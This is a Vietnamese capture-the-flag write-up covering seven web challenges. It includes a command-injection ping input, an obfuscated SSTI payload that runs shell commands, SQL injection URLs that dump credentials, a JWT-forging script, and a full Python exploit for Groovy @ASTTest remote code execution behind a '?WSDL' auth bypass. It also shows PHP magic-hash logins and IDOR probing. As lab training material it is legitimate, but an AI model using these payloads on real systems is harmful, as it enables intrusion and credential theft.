# WRITEUP MTA CTF # WEB ## Well-done ![image](https://hackmd.io/_uploads/H12h_2kLWx.png) ![image](https://hackmd.io/_uploads/HyMauh1I-g.png) - Như ta thấy chall đã gợi ý là dùng ping tool - Ta sẽ thử ping `127.0.0.1; ls` để xem phía server có phản hồi không - ![image](https://hackmd.io/_uploads/B1HIYny8Ze.png) - Từ đây ta thấy được 1 file tên là `flag.txt` ở root `/` => Dùng `cat /flag.txt` để đọc file ![image](https://hackmd.io/_uploads/SJgCYn1IWe.png) **FLAG: MSEC{So_3asY_4_F1RsT_Ch4ll}** ## Hello World ![image](https://hackmd.io/_uploads/Bypmc31Ibl.png) ![image](https://hackmd.io/_uploads/BJQEq2kIWe.png) - Nhập thử vào ô `Your name` rồi xem phản hồi của web ![image](https://hackmd.io/_uploads/HyKgbaJIZx.png) - Khi nhập thử `abc` thì trả về như trong ảnh - Bây giờ ta sẽ thử payload SSTI cơ bản để thám thính (`{{7*7}}`) - ![image](https://hackmd.io/_uploads/BJg4Z6JLWx.png) => Trả về `49` => SSTI - Khi nhập payload để liệt kê các file thì trả về `Hacking detected! 🚨` => Web đã chặn payload khai thác flag - Ta sẽ thử decode payload `{% print lipsum|attr('\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f')|attr('\x67\x65\x74')('\x6f\x73')|attr('\x70\x6f\x70\x65\x6e')('\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x2e\x74\x78\x74')|attr('\x72\x65\x61\x64')() %}` - ![image](https://hackmd.io/_uploads/rklmjZpyLWg.png) - Đã trả về được flag => done **Flag: MSEC{W3ll-C3m00000-BaBy}** ## Chicken Guy ![image](https://hackmd.io/_uploads/SJHJGTyUbx.png) ![image](https://hackmd.io/_uploads/SyFyGa1LWl.png) - Theo như mô tả của chall thì ta có thể nghĩ ngay là SQLi - Để kiểm chứng ta sẽ thử nhập username là `admin'--` và password bất kỳ để thám thính - ![image](https://hackmd.io/_uploads/r1_8z61LZg.png) - Thật bất ngờ là trả về được flag => suy nghĩ của ta đã đúng - Lỗi SQLi dạng authentication bypass, khi nhập `admin'--` thì password ở đằng sau đã bị comment lại => Database chỉ thực thi đoạn `WHERE username = 'admin'`, điều kiện này luôn `TRUE` nếu user admin tồn tại **Flag: MSEC{SQL_So_3aSy_4_YYYY}** ## CVE-2025-***** ![image](https://hackmd.io/_uploads/SJXhHTyUWx.png) ![image](https://hackmd.io/_uploads/SkP5ETkL-l.png) ![image](https://hackmd.io/_uploads/r1ziV61IWe.png) ### Phân tích #### Kiến trúc - Next.js (app router) - Authentication: sử dụng JSON Web Token (JWT) #### Middleware ![image](https://hackmd.io/_uploads/S1NbBa1UWl.png) - File `middleware.js` là proxy cho các request vào `/dashboard` - Kiểm tra cookie có tên là auth - Nếu cookie không tồn tại hoặc giá trị không phải là `authenticated` thì user sẽ bị redirect về trang chủ `/` - Ta thấy nó chỉ check giá trị string của cookie mà không verify signature hay tính hợp lệ của session phía server #### Target endpoint - File `app/api/flag/route.js` là nơi chứa flag ![image](https://hackmd.io/_uploads/SJMlUpJI-e.png) - Request phải có header `Authorization: Bearer <token>` - Token được verify bằng `process.env.SECRET_KEY` - Sau khi decode, payload của token phải có`role` là `admin` ### Vuln - Tại file `app/dashboard/page.js` có để lại một comment gợi ý ![image](https://hackmd.io/_uploads/BJsLIT18-g.png) về một endpoint ẩn `Hint: /api/s*****` - Middleware tin tưởng tuyệt đối vào input từ phía client (Cookie: `auth=authenticated`) => Ta có thể tự tạo cookie này để vượt qua lớp bảo vệ mà không cần login - Ta truy cập được vào endpoint ẩn làm lộ `SECRET_KEY` thực sự của server - Khi đã có `SECRET_KEY` ta có thể tự tạo bất kỳ token nào với quyền admin ### Exploit #### Recon & tìm endpoint ẩn - Dựa vào gợi ý trong `dashboard/page.js` là `/api/s*****`, ta đoán endpoint có thể là `/api/secret`, `/api/source`, hoặc `/api/status`. Khi truy cập thử `/api/secret` trên browser, server trả về `307` Redirect về trang chủ => chứng tỏ endpoint này TỒN TẠI nhưng đang bị chặn bởi Middleware (Ta có thể dùng fuzz để quét endpoint) #### Bypass middleware - Để truy cập `api/secret`. ta cần lừa middleware bằng cách inject cookie - Gửi request tới `api/secret` với cookie `Cookie: auth=authenticated`![image](https://hackmd.io/_uploads/H1j-_pk8Zg.png) - Server trả về JSON chứa Secket thật: `"secret_key":"Anh-tung-dep-trai-vc"` 🤡🤡🤡 #### Tạo admin token giả - Sử dụng secret key vừa lấy được để tạo JWT Token để bypass check lại `api/flag/route.js` - Ta có thể dùng jwt.io để có thể tạo JWT token với: - Header: `{"alg": "HS256", "typ": "JWT"}` - Payload: `{"role": "admin"}` - Signature: Ký bằng key `Anh-tung-dep-trai-vc` - Script python tạo token: ```python import jwt key = "Anh-tung-dep-trai-vc" payload = {"role": "admin"} token = jwt.encode(payload, key, algorithm="HS256") print(token) ``` #### Lấy flag - Gửi request cuối cùng tới endpoint `api/flag` trả về flag với token vừa tạo ``` json { "success": true, "message": "Congratulations!", "flag": "MSEC{Bypass_proxy_so_izzzzz}" } ``` **Flag: MSEC{Bypass_proxy_so_izzzzz}** ## JVE-2025-***** ![image](https://hackmd.io/_uploads/H1xA7A1L-g.png) ![image](https://hackmd.io/_uploads/ryvvSR1I-l.png) ### Phân tích - Theo `Dockerfile` và `pom.xml` - File flag nằm tại `/flag.txt` được tạo với quyền user `oim` (UID 1000) và permission `400` (chỉ owner đọc được) ![image](https://hackmd.io/_uploads/rJoMHC1UZx.png) - Trong `pom.xml`, project sử dụng `groovy-all` v3.0.9 => đây là một thư viện script động, thường là vector tấn công nếu bị khai thác ko an toàn - Cơ chế bảo mật `SecurityFilter.java` - Ứng dụng sử dụng 1 filter tự viết là `SecurityFilter` - Filter này chặn hầu hết các request không xác thực, ngoại trừ các endpoint công khai như `/login`, `/static` - Nếu user đăng nhạp (session `authenticated` là null hoặc false) request sẽ bị trả về lỗi 401 - Endpoint chức năng (`GroovyCompilationController.java`) - Controller này nằm ở `/iam/governance/applicationmanagement/api/v1/applications` - Có endpoint `/groovyscriptstatus` nhận một đoạn script groovy từ JSON body và thực hiện biên dịch ### Vuln #### Authentication bypass - Tại file `SecurityFilter.java` logic kiểm tra quyền truy cập một blackdoor dàn cho mục đích debug hoặc legacy support![image](https://hackmd.io/_uploads/rkCJvCJ8-x.png) - Đoạn code trên kiểm tra nếu URL có chứa query string là `WSDL` (không phân biệt hoa thường) filter sẽ cho phép request đi qua mà không kiểm tra session => Ta có thể truy cập bất kỳ API nào (kể cả admin) chỉ bằng cách thêm `?WSDL` vào cuối URL #### RCE via groovy - Tại `GroovyCompilationController.java`, endpoint `/groovyscriptstatus` xử lý input của user như sau: ![image](https://hackmd.io/_uploads/H1sjwA1UWg.png) - Hàm `loader.parseClass(groovyScript)` biên dịch chuỗi string thành Java Class - Mặc dù chỉ là biên dịch nhưng ngôn ngữ groovy có tính năng meta-programming mạnh, ta có thể sử dụng annotation `@ASTTest ` hoặc `@Grab` để explopit code ngay trong quá trình biên dịch mà không cần đợi class đó được khởi tạo hay gọi hàm - Kết hợp với việc ứng dụng trả về `Exception message` khi có lỗi, ta có thể leak được output của lệnh thực thi ### Exploit #### Xác định - Target là endpoint biên dịch Groovy, nhưng đi kèm với bypass auth - Url: `http://localhost:14000/iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus?WSDL` - Method: `POST` - Content-type: `application/json` ![image](https://hackmd.io/_uploads/B173OA1UWx.png) #### Payload - Ta sẽ sử dụng AST Transformation của Groovy để exploit lệnh hệ thống `cat /flag.txt` - Vì server chỉ trả về `error` message khi có exception => ta sẽ throw một exception chứa kết quả của lệnh cat **Payload Groovy:** ```java @groovy.transform.ASTTest(value={ // lệnh đọc flag def proc = "cat /flag.txt".execute() proc.waitFor() // Lấy kết quả trả về def output = proc.in.text // Ném lỗi chứa flag để server trả về trong JSON response assert false : "Flag: " + output }) def x ``` #### Gửi request ```html\ curl -X POST "http://ctf.msec.cloud-ip.cc:14000/iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus?WSDL" \ -H "Content-Type: application/json" \ -d '{ "groovyScript": "@groovy.transform.ASTTest(value={ assert false : \"RESULT:\" + \"cat /flag.txt\".execute().text }) class Pwn {}" }' ``` #### Lấy flag - Server sẽ cố gắng biên dịch script. `@ASTTest` sẽ kích hoạt `cat /flag.txt`. Sau đó `assert false` sẽ gây ra lỗi biên dịch, và nội dung lỗi (chứa flag) sẽ được `GroovyCompilationController` bắt lại và trả về trong field `error` hoặc `output` ### FULL SCRIPT: ```python import requests import json # Target Configuration BASE_URL = "http://localhost:14000" # Endpoint vulnerable to RCE, protected by Auth VULN_PATH = "/iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus" # [!] Exploit Logic # 1. Bypass Auth: Append ?WSDL # 2. RCE: Use Groovy @ASTTest to execute command at compile time # 3. Exfil: Throw result in an assertion error to see it in the response target_url = f"{BASE_URL}{VULN_PATH}?WSDL" print(f"[+] Target: {target_url}") # Payload: Read /flag.txt which is set in Dockerfile groovy_payload = """ @groovy.transform.ASTTest(value={ def proc = "cat /flag.txt".execute() proc.waitFor() // Throw exception to leak output in the JSON response throw new RuntimeException("EXPLOIT_OUTPUT: " + proc.in.text) }) class Pwn {} """ headers = { "Content-Type": "application/json" } data = { "groovyScript": groovy_payload } try: print("[*] Sending malicious Groovy payload...") response = requests.post(target_url, json=data, headers=headers) # Parse output if response.status_code == 200: json_resp = response.json() if "output" in json_resp and "EXPLOIT_OUTPUT" in json_resp["output"]: # Extract flag from stack trace or error message raw_output = json_resp["output"] import re flag = re.search(r"MSEC\{.*?\}", raw_output) if flag: print(f"\n[SUCCESS] FLAG FOUND: {flag.group(0)}") else: print("\n[!] Output found but no flag format:") print(raw_output) elif "error" in json_resp: print(f"\n[!] Error from server: {json_resp['error']}") # Check if flag is in error message if "MSEC{" in json_resp['error']: print(f"[SUCCESS] FLAG FOUND in Error: {json_resp['error']}") else: print("\n[?] Unexpected response:") print(json_resp) else: print(f"[!] Request failed. Status: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Exploit failed: {e}") ``` **FLAG: MSEC{Y0U_ARE_A_RE_G0D_!!}** ## BlackD00r ![image](https://hackmd.io/_uploads/rJKOjug8Zl.png) ![image](https://hackmd.io/_uploads/SyGPiOxI-g.png) ### Phân tích #### Cơ chế đăng nhập (`login.php`) - Trong file `login.php` xử lý đăng nhập theo 2 nhánh: - User thường: sử dụng `password_verify` (brypt) - Admin: sử dụng `sha1($password) === $user['password']`![image](https://hackmd.io/_uploads/Sy1AidgI-g.png) => SHA-1 đã lỗi thời và rất dễ bị crack. Nếu ta có hash của admin thì ta có thể tìm ra password gốc #### Backdoor: `bid_handler.php` - Trong file `bid_handler.php` sử dụng extention `runkit` để tạo hàm `ruleCheck` động từ db ![image](https://hackmd.io/_uploads/S1vr2deUWe.png) - Biến `$rule` được lấy trực tiếp từ bảng `auctions` trong db => Nếu ta kiểm soát được nội dung cột `rule` trong db, ta có thể chèn code PHP => RCE #### Admin panel - File `admin.php` cho phép admin chỉnh sửa `rule` và `message` của các phiên đấu giá => flag được hardcode trong file này ![image](https://hackmd.io/_uploads/B1HMbKxIWg.png) ### Vuln - **Lỗ hổng SQL Injection** `inventory.php`: các tham số `user_id` và `sort` được truyền vào các truy vấn SQL mà không được xử lý đúng cách, cho phép thực thi các lệnh SQL tùy ý thông qua việc chèn dấu ngoặc kép ngược ![image](https://hackmd.io/_uploads/Sy7pQteL-g.png) - **Quá trình xử lý trong admin panel**: dynamic rules system cho các cuộc đấu giá sử dụng `runkit_function_add()` để tạo động các hàm PHP từ dữ liệu đầu vào của user, mở ra kẽ hở cho RCE **Chain: SQL Injection → trích xuất thông tin đăng nhập → truy cập admin panel → lấy flag** ### Exploit #### SQL Injection để trích xuất thông tin đăng nhập - `inventory.php` các tham số user được xử lý một cách đáng nghi. Sau khi phân tích chi tiết hơn ta thấy: các tham số `user_id` và `sort` được đưa trực tiếp vào các truy vấn SQL mà không qua bất kỳ bộ lọc nào => Đây là lỗi tấn công SQL injection kinh điển thông qua việc chèn dấu ngoặc kép ngược (backtick). Để khai thác lỗi này, ta sử dụng payload sau: ``` http: //localhost:8080/inventory.php?user_id=x`+FROM+(SELECT+group_concat(username,0x3a,password)+AS+`%27x`+FROM+users)y;--+-&sort=\?;--+-%00 ``` - Key point để bypass PDO - `\?` : Dấu backslash trước dấu chấm hỏi làm hỏng quá trình phát hiện tham số vì PDO quét `?` các phần giữ chỗ trước khi phân tích cú pháp MySQL và không nhận ra biến thể được mã hóa -` %00` : bull byte gây ra hiện tượng cắt ngắn chuỗi ở cấp độ C trong trình điều khiển MySQL, dẫn đến việc cắt bỏ phần còn lại của truy vấn ![image](https://hackmd.io/_uploads/Bk-RrFlIbx.png) #### Truy cập admin panel - Như ta thấy ta đã trích xuất được thông tin của `admin` kèm pasword đã bị bcrypt (`b78034aacf3559fffbfcb545d9a9122efb93181f`) - Ta tra passwod bcrypt trên thì trả về password là `iloveu`![image](https://hackmd.io/_uploads/H1dtUKgIZe.png) (https://gist.github.com/roycewilliams/226886fd01572964e1431ac8afc999ce) - Login vào `admin:iloveu`![image](https://hackmd.io/_uploads/Bkk68tgLbg.png) => Trả về được flag ở admin panel **Flag: MSEC{PDO_So_danger}** ## RealHacker - chall này khác đặc biệt - Khi vào link chall ta thấy xuất hiện là 1 trang login bình thường - Khi ta thử nhập username và password bất kỳ rồi nhấn sign up thì sẽ trả về`User not found` - Ta sẽ thử nhập các username đặc biệt như `admin`, `administrator`,v...v.. và bất ngờ là khi nhập username=`admin` và password bất kỳ thì trả về error `Invalid credentials` => username=`admin` có tồn tại và ta phải đi tìm mật khẩu của nó - Nhưng việc mò mật khẩu gần như vô vọng - Ở đây ta sẽ nghĩ đến việc nếu ta cho password là dạng `array` thì sẽ như thế nào ![image](https://hackmd.io/_uploads/BkQkEix8Wx.png) - Thật bất ngờ là trả về md5 => server đang hash password đầu vào bằng MD5 rồi mới so sánh - Trong php nếu một chuỗi bắt đầu bằng `0e` theo sau toàn bộ (ví dụ `0e123456`) PHP sẽ coi nó là ký hiệu khoa học của số 0 ($0 \times 10^{n}$) => `0e123...` == `0e456...` (do `0==0`) - Ta nghĩ hash mật khẩu của admin trong db là một chuỗi bắt đầu bằng `0e` và toàn số. - Bây giờ ta cần nhập một password sao cho `md5(password)` cũng ra kết quả `0e` [PHP type juggling (magic hash)](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Type%20Juggling/README.md) - Ta sẽ thử nhập `240610708` - `md5("240610708") = 0e462097431906509019562988736854` => Thật bất ngờ!!! trả về flag part 1 => suy nghĩ của ta đã đúng ![image](https://hackmd.io/_uploads/rJyRHieI-e.png) - Cũng với suy nghĩ đó ta sẽ thử tìm một username khác nếu trả về `Invalid Credentials` thì tức là username đó tồn tại trong db - Ta thử nghĩ đến việc dùng SQLi như `admin'--` nhưng đều trả về `User not found` => từ đây có thể thấy mọi payload SQLi nhập vào không có tác dụng - Tôi đã thử mò các username khác và phát hiện ra username=`guest` và password=`guest123` nhưng thật buồn vì nó chỉ là một dịch vụ ![image](https://hackmd.io/_uploads/B1ypUox8Zl.png) - Bất lực khi cố mò username trả về `Invalid credentials` - Tôi đã thử nghĩ liệu rằng là challenge này có port khác không, khi phần mô tả của challenge nói `Lắp rạp lại thành flag` - Từ đây tôi đã thử dùng nmap để quét xem còn có port nào khác mà tôi không biết `nmap -p- -T4 -v 160.191.49.168` - THẬT BẬT NGỜ là tồn tại port khác mà tôi không biết, không những thế còn có tận 2 port dịch vụ khác là `534` và `768` ### port 534 ![image](https://hackmd.io/_uploads/S1s7dsgLbe.png) - Ta thấy được là ở port này ta có cái endpoint như `api/status` và `api/health` - Ta đây ta lại có nghi ngờ rằng là liệu còn có endpoint nào khác không - Để kiểm chứng tôi đã dùng fuzz để quét endpoint - Và thực sự nghi ngờ của tôi đã đúng => tìm ra được endpoint `secrets` - Truy cập tới endpoint trên thì ta tìm ra được flag part 2 là: `{"message":"Congratulations! You found the hidden endpoint.","flag_part2":"haking_is_"}` ### port 768 ![image](https://hackmd.io/_uploads/r1e7FieIWl.png) - Ở port này khi ta ấn thử vào các profile ở trang chính thì trên url trả về `/profile?id=1` (khi nhấn vào profile của John Smith) => Ta nghĩ ngay tới IDOR - Ta sẽ thử các ID quen thuộc mang tính mặc định của hệ thống như `999`, `1337` - Bất ngờ là id `1337` thật sự đã trả về profile của admin kèm flag ![image](https://hackmd.io/_uploads/BJlp5ieLbg.png) - Ghép các phần flag lại ta được flag hoàn chỉnh là: `MSEC{Real_haking_is_this}` **FLAG: MSEC{Real_haking_is_this}**